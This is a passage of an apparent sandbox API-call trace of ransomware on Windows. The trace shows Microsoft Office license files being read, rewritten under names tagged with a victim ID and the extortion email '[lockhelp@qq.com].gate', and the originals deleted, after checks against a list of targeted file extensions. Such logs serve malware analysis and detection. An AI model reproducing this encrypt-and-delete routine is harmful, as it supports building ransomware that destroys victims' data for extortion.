(lpString1=".bz2", lpString2="m-ms") returned -1 [0316.143] lstrlenW (lpString=".7z") returned 3 [0316.143] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0316.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0316.143] lstrlenW (lpString=".dbf") returned 4 [0316.143] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0316.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0316.143] lstrlenW (lpString=".1cd") returned 4 [0316.143] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0316.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0316.143] lstrlenW (lpString=".jpg") returned 4 [0316.143] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0316.143] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=21977) returned 1 [0316.143] CloseHandle (hObject=0x4f8) returned 1 [0316.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 0x220 [0316.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0316.144] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.144] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0316.144] GetLastError () returned 0x0 [0316.144] ReadFile (in: hFile=0x4f8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x55d9, lpOverlapped=0x0) returned 1 [0316.231] WriteFile (in: hFile=0x554, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x55e0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x55e0, lpOverlapped=0x0) returned 1 [0316.232] ReadFile (in: hFile=0x4f8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0316.232] WriteFile (in: hFile=0x554, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x11e, lpOverlapped=0x0) returned 1 [0316.232] SetEndOfFile (hFile=0x554) returned 1 [0316.233] CloseHandle (hObject=0x554) returned 1 [0316.234] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.234] SetEndOfFile (hFile=0x4f8) returned 1 [0316.236] CloseHandle (hObject=0x4f8) returned 1 [0316.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.236] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 1 [0316.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0316.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0316.237] lstrlenW (lpString=".doc") returned 4 [0316.237] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0316.237] lstrlenW (lpString=".docx") returned 5 [0316.237] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0316.237] lstrlenW (lpString=".pdf") returned 4 [0316.237] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0316.237] lstrlenW (lpString=".xls") returned 4 [0316.237] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0316.237] lstrlenW (lpString=".xlsx") returned 5 [0316.237] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0316.237] lstrlenW (lpString=".ppt") returned 4 [0316.237] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0316.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0316.237] lstrlenW (lpString=".zip") returned 4 [0316.237] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0316.237] lstrlenW (lpString=".rar") returned 4 [0316.237] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0316.237] lstrlenW (lpString=".bz2") returned 4 [0316.237] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0316.237] lstrlenW (lpString=".7z") returned 3 [0316.237] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0316.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0316.237] lstrlenW (lpString=".dbf") returned 4 [0316.237] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0316.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0316.237] lstrlenW (lpString=".1cd") returned 4 [0316.237] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0316.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0316.238] lstrlenW (lpString=".jpg") returned 4 [0316.238] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0316.238] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=11624) returned 1 [0316.238] CloseHandle (hObject=0x4f8) returned 1 [0316.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms")) returned 0x220 [0316.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0316.239] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.239] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0316.239] GetLastError () returned 0x0 [0316.239] ReadFile (in: hFile=0x4f8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x2d68, lpOverlapped=0x0) returned 1 [0316.409] WriteFile (in: hFile=0x4a0, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0316.409] ReadFile (in: hFile=0x4f8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0316.410] WriteFile (in: hFile=0x4a0, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x116, lpOverlapped=0x0) returned 1 [0316.410] SetEndOfFile (hFile=0x4a0) returned 1 [0316.410] CloseHandle (hObject=0x4a0) returned 1 [0316.410] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.410] SetEndOfFile (hFile=0x4f8) returned 1 [0316.414] CloseHandle (hObject=0x4f8) returned 1 [0316.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms")) returned 1 [0316.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0316.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0316.415] lstrlenW (lpString=".doc") returned 4 [0316.415] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0316.415] lstrlenW (lpString=".docx") returned 5 [0316.415] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0316.415] lstrlenW (lpString=".pdf") returned 4 [0316.415] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0316.415] lstrlenW (lpString=".xls") returned 4 [0316.415] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0316.415] lstrlenW (lpString=".xlsx") returned 5 [0316.415] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0316.416] lstrlenW (lpString=".ppt") returned 4 [0316.416] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0316.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0316.416] lstrlenW (lpString=".zip") returned 4 [0316.416] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0316.416] lstrlenW (lpString=".rar") returned 4 [0316.416] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0316.416] lstrlenW (lpString=".bz2") returned 4 [0316.416] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0316.416] lstrlenW (lpString=".7z") returned 3 [0316.416] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0316.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0316.416] lstrlenW (lpString=".dbf") returned 4 [0316.416] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0316.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0316.416] lstrlenW (lpString=".1cd") returned 4 [0316.416] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0316.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0316.416] lstrlenW (lpString=".jpg") returned 4 [0316.416] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0316.417] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=11617) returned 1 [0316.417] CloseHandle (hObject=0x4f8) returned 1 [0316.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0316.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0316.418] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.418] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0316.419] GetLastError () returned 0x0 [0316.419] ReadFile (in: hFile=0x4f8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x2d61, lpOverlapped=0x0) returned 1 [0316.462] WriteFile (in: hFile=0x4a0, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0316.590] ReadFile (in: hFile=0x4f8, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0316.590] WriteFile (in: hFile=0x4a0, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x11c, lpOverlapped=0x0) returned 1 [0316.590] SetEndOfFile (hFile=0x4a0) returned 1 [0316.590] CloseHandle (hObject=0x4a0) returned 1 [0316.591] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.591] SetEndOfFile (hFile=0x4f8) returned 1 [0316.602] CloseHandle (hObject=0x4f8) returned 1 [0316.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ul-oob.xrm-ms")) returned 1 [0316.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0316.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0316.677] lstrlenW (lpString=".doc") returned 4 [0316.677] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0316.677] lstrlenW (lpString=".docx") returned 5 [0316.677] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0316.677] lstrlenW (lpString=".pdf") returned 4 [0316.678] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0316.678] lstrlenW (lpString=".xls") returned 4 [0316.678] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0316.678] lstrlenW (lpString=".xlsx") returned 5 [0316.678] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0316.678] lstrlenW (lpString=".ppt") returned 4 [0316.678] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0316.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0316.678] lstrlenW (lpString=".zip") returned 4 [0316.678] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0316.678] lstrlenW (lpString=".rar") returned 4 [0316.678] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0316.678] lstrlenW (lpString=".bz2") returned 4 [0316.678] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0316.678] lstrlenW (lpString=".7z") returned 3 [0316.678] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0316.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0316.678] lstrlenW (lpString=".dbf") returned 4 [0316.678] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0316.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0316.678] lstrlenW (lpString=".1cd") returned 4 [0316.678] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0316.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-oob.xrm-ms") returned 86 [0316.678] lstrlenW (lpString=".jpg") returned 4 [0316.678] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0316.679] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=10667) returned 1 [0316.679] CloseHandle (hObject=0x4a0) returned 1 [0316.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 0x220 [0316.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0316.679] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.679] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0316.680] GetLastError () returned 0x0 [0316.680] ReadFile (in: hFile=0x4a0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x29ab, lpOverlapped=0x0) returned 1 [0316.716] WriteFile (in: hFile=0x4c0, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x29b0, lpOverlapped=0x0) returned 1 [0316.717] ReadFile (in: hFile=0x4a0, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0316.717] WriteFile (in: hFile=0x4c0, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x116, lpOverlapped=0x0) returned 1 [0316.717] SetEndOfFile (hFile=0x4c0) returned 1 [0316.717] CloseHandle (hObject=0x4c0) returned 1 [0316.717] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0316.717] SetEndOfFile (hFile=0x4a0) returned 1 [0316.728] CloseHandle (hObject=0x4a0) returned 1 [0316.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 1 [0316.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0316.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0316.734] lstrlenW (lpString=".doc") returned 4 [0316.734] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0316.735] lstrlenW (lpString=".docx") returned 5 [0316.735] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0316.735] lstrlenW (lpString=".pdf") returned 4 [0316.735] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0316.735] lstrlenW (lpString=".xls") returned 4 [0316.735] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0316.735] lstrlenW (lpString=".xlsx") returned 5 [0316.735] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0316.735] lstrlenW (lpString=".ppt") returned 4 [0316.735] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0316.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0316.735] lstrlenW (lpString=".zip") returned 4 [0316.735] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0316.735] lstrlenW (lpString=".rar") returned 4 [0316.735] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0316.735] lstrlenW (lpString=".bz2") returned 4 [0316.735] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0316.735] lstrlenW (lpString=".7z") returned 3 [0316.735] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0316.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0316.735] lstrlenW (lpString=".dbf") returned 4 [0316.735] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0316.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0316.735] lstrlenW (lpString=".1cd") returned 4 [0316.735] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0316.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83 [0316.735] lstrlenW (lpString=".jpg") returned 4 [0316.735] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.001] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=11621) returned 1 [0317.001] CloseHandle (hObject=0x414) returned 1 [0317.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-oob.xrm-ms")) returned 0x220 